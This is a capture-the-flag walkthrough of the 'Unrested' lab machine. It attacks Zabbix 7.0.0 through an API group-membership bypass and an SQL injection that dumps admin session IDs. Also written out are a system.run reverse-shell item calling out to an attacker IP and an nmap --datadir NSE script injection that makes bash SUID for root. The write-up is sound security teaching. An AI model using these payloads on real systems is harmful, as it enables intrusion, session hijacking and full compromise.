As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix: [matthew / 96qzn0h2e1k3]
IP Address: 10.10.11.50
Key Exploitation Techniques:
- Zabbix API authentication bypass (CVE-2024-36467)
- Zabbix API SQL Injection (CVE-2024-42327)
- SQLi data exfiltration of session IDs
- Zabbix
system.runitem for remote code execution sudo /usr/bin/nmapmisconfiguration via NSE script injection
Enumeration#
An nmap scan identified SSH (22/tcp) and HTTP (80/tcp), along with Zabbix-specific ports (10050/tcp for agent and 10051/tcp for trapper).
$ nmap -p- --min-rate 10000 10.10.11.50
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10050/tcp open zabbix-agent
10051/tcp open zabbix-trapper
$ nmap -p 22,80,10050,10051 -sC -sV 10.10.11.50
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Accessing the web server on port 80 revealed a Zabbix instance. The Zabbix dashboard confirmed version 7.0.0.

Researching “zabbix 7.0.0 exploit” quickly identified two relevant CVEs:
- CVE-2024-36467 (Missing Access Controls): Allows an authenticated user with API access to add themselves to any user group (e.g., Zabbix Administrators) via
user.updateendpoint, excluding disabled or restricted GUI access groups. - CVE-2024-42327 (SQL Injection): A SQL Injection exists in the
CUserclass’saddRelatedObjectsfunction, called byCUser.get, accessible to any user with API access.
Here is official GitHub commit that tries to fix the issue.
Exploitation#
Zabbix API Authentication#
To check how we can use the API calls, we can refer to the official Zabbix documentation.
An API token was obtained for the matthew user using the user.login API method.
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}' | jq
{
"jsonrpc": "2.0",
"result": "97217e8d804c125a8f41989582c0aab5",
"id": 1
}
The session ID 97217e8d804c125a8f41989582c0aab5 was obtained. The user.checkAuthentication method confirmed matthew’s userid as 3 and roleid as 1 (User role).
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.checkAuthentication",
"params": { "sessionid": "97217e8d804c125a8f41989582c0aab5" },
"id": 1
}' | jq
{
"jsonrpc": "2.0",
"result": { "userid": "3", "username": "matthew", "roleid": "1", ... },
"id": 1
}
Escalation via CVE-2024-36467 (Group Update)#
CVE-2024-36467 allows users with API access to add themselves to any user group, with a specific bypass for “user cannot change own role”. An initial attempt to directly change matthew’s roleid failed as expected, due to Zabbix’s checkHimself validation function. This function checks for userid and roleid changes, but not usrgrps (user groups).
# Attempt to change roleid directly - fails.
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc": "2.0", "method": "user.update", "params": {"userid": "3", "roleid": "3"}, "id": 1, "auth": "97217e8d804c125a8f41989582c0aab5"}' | jq
{ "jsonrpc": "2.0", "error": { "code": -32602, "message": "Invalid params.", "data": "User cannot change own role." }, "id": 1 }
User group IDs were identified using usergroup.get API documentation. Groups 7 (Zabbix administrators) and 11 (Enabled debug mode) were relevant. matthew (userid 3) was added to these groups using user.update via the usrgrps parameter, bypassing the roleid validation.
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Authorization: Bearer 97217e8d804c125a8f41989582c0aab5' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc": "2.0", "method": "user.update", "params": {"userid": "3", "usrgrps": [{"usrgrpid":"7"},{"usrgrpid":"11"}]}, "id": 1 }' | jq
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
This successfully added matthew to the administrator and debug groups.
Escalation via CVE-2024-42327 (SQL Injection)#
Despite group membership, matthew still could not directly change his own role. The second vulnerability, CVE-2024-42327, an SQL injection in user.get, was leveraged to extract administrative session IDs from the sessions table.
A user.get request was saved to a file (req) for sqlmap to analyze
# req file content
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.11.1
Accept: */*
Authorization: Bearer 97217e8d804c125a8f41989582c0aab5
Content-Type: application/json-rpc
Content-Length: 189
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": ["roleid", "name", "type", "readonly"]
},
"id": 1
}
sqlmap identified a time-based blind SQL injection point in the selectRole parameter.
$ sqlmap -r req --batch
...
---
Parameter: JSON #5* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": ["roleid AND (SELECT 4896 FROM (SELECT(SLEEP(5)))cNOC)", "name", "type", "readonly"]
},
"id": 1
}
--- [INFO] the back-end DBMS is MySQL
...
The zabbix database tables, specifically the sessions table, were dumped to obtain session IDs.
$ sqlmap -r req --batch -D zabbix -T sessions -dump
...
Database: zabbix
Table: sessions
[2 entries]
+--------+----------------------------------+----------------------------------+----------+------------+
| userid | sessionid | secret | status | lastaccess |
+--------+----------------------------------+----------------------------------+----------+------------+
| 1 | 0d018f2a66b16a04ad619330c51a6819 | d27ac47f8657711f7efaeeaab04f434c | 0 | 1739176681 |
| 3 | 1052039f26095bea3447e109a0302d8e | d2f9ff93070d1dab47a73bb1a203f5bb | 0 | 1739178283 |
+--------+----------------------------------+----------------------------------+----------+------------+
The session ID 0d018f2a66b16a04ad619330c51a6819 for userid 1 (Admin) was extracted.
Alternative SQLi Data Exfiltration:
Manual SQL injection can be used for more precise data extraction if
sqlmapis not preferred or yields limited results.{ "jsonrpc": "2.0", "method": "user.get", "params": { "output": ["userid", "username"], "selectRole": ["roleid, (SELECT GROUP_CONCAT(sessionid) FROM sessions WHERE userid=1)", "name", "type", "readonly"] }, "id": 1 } # This payload directly concatenates the session ID into the output.
The extracted Admin session ID was validated with user.checkAuthentication.
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{ "jsonrpc": "2.0", "method": "user.checkAuthentication", "params": { "sessionid": "0d018f2a66b16a04ad619330c51a6819" }, "id": 1 }' | jq
{ "jsonrpc": "2.0", "result": { "userid": "1", "username": "Admin", "type": 3, "gui_access": "1", "sessionid": "0d018f2a66b16a04ad619330c51a6819", ... }, "id": 1 }
The session was confirmed to belong to Admin.
Remote Code Execution (RCE) via Zabbix Item#
With Admin privileges, a malicious Zabbix item was created using the item.create API method. Zabbix items can be configured to execute system commands using the system.run key.
First, hostid and interfaceid for the Zabbix server were retrieved using host.get.
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Authorization: Bearer 0d018f2a66b16a04ad619330c51a6819' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"id":1}' | jq
{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10084",
"host": "Zabbix server",
"interfaces": [ { "interfaceid": "1" } ]
}
],
"id": 1
}
The hostid was 10084 and interfaceid was 1.
A reverse shell item was then created.
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Authorization: Bearer 0d018f2a66b16a04ad619330c51a6819' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "revshell",
"key_": "system.run[\"bash -c \\\"bash -i >& /dev/tcp/10.10.16.23/8888 0>&1\\\"\"]",
"hostid": "10084",
"type": 0,
"value_type": 1,
"delay": "1s",
"interfaceid": "1"
},
"id": 1
}' | jq
{ "jsonrpc": "2.0", "result": { "itemids": [ "47184" ] }, "id": 1 }
Set up a netcat listener on the attacker machine.
$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.11.50] 51066
A reverse shell was received, executing as the zabbix user.
bash: cannot set terminal process group (5432): Inappropriate ioctl for device
zabbix@unrested:/$ whoami
zabbix
zabbix@unrested:/$ cat /home/matthew/user.txt
a136427136dfd9c04d95059d1ece668d
The user.txt flag was retrieved.
Privilege Escalation#
sudo /usr/bin/nmap Abuse#
Privilege escalation was attempted by examining the zabbix user’s sudo privileges.
zabbix@unrested:/$ sudo -l
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
The zabbix user could execute /usr/bin/nmap as root without a password. However, executing sudo nmap --interactive failed.
zabbix@unrested:/$ sudo nmap --interactive
Interactive mode is disabled for security reasons.
Inspection of /usr/bin/nmap revealed it was a wrapper script that restricted certain nmap options.
zabbix@unrested:/$ cat $(which nmap)
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons." # Script mode restricted
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
exec /usr/bin/nmap.original "$@" # Executes original nmap binary
The script explicitly blacklisted --interactive and --script (NSE mode), which are common nmap exploit vectors. However, the wrapper executes the nmap.original binary and doesn’t explicitly restrict the --datadir option.
Nmap NSE Script Injection#
nmap’s --datadir option allows specifying an alternative directory for Nmap’s data files, including NSE scripts. This can be abused to load custom NSE scripts for RCE.
A custom NSE script (nse_main.lua) was created in /tmp to execute chmod 4775 /bin/bash, making /bin/bash a SUID binary.
zabbix@unrested:/$ echo 'os.execute("chmod 4775 /bin/bash")' > /tmp/nse_main.lua
The wrapper script was then executed with sudo, using --datadir=/tmp to load the malicious nse_main.lua and specifying a target (localhost) and a script scan (-sC, a basic script category that will trigger default scripts in the --datadir path).
zabbix@unrested:/$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
Starting Nmap 7.80 (https://nmap.org) at 2025-02-10 10:03 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed. # Expected error due to NSE script structure, but payload executes
bash: [5434: 2 (255)] tcsetattr: Inappropriate ioctl for device
Despite the assertion error, the nse_main.lua script executed, setting the SUID bit on /bin/bash.
zabbix@unrested:/$ ls -la /bin/bash
-rwsrwxr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Root Access#
The SUID bash binary was then executed to gain a root shell.
zabbix@unrested:/$ bash -p
root@unrested:/# whoami
root
root@unrested:/# cat /root/root.txt
<redacted>
The root.txt flag was retrieved.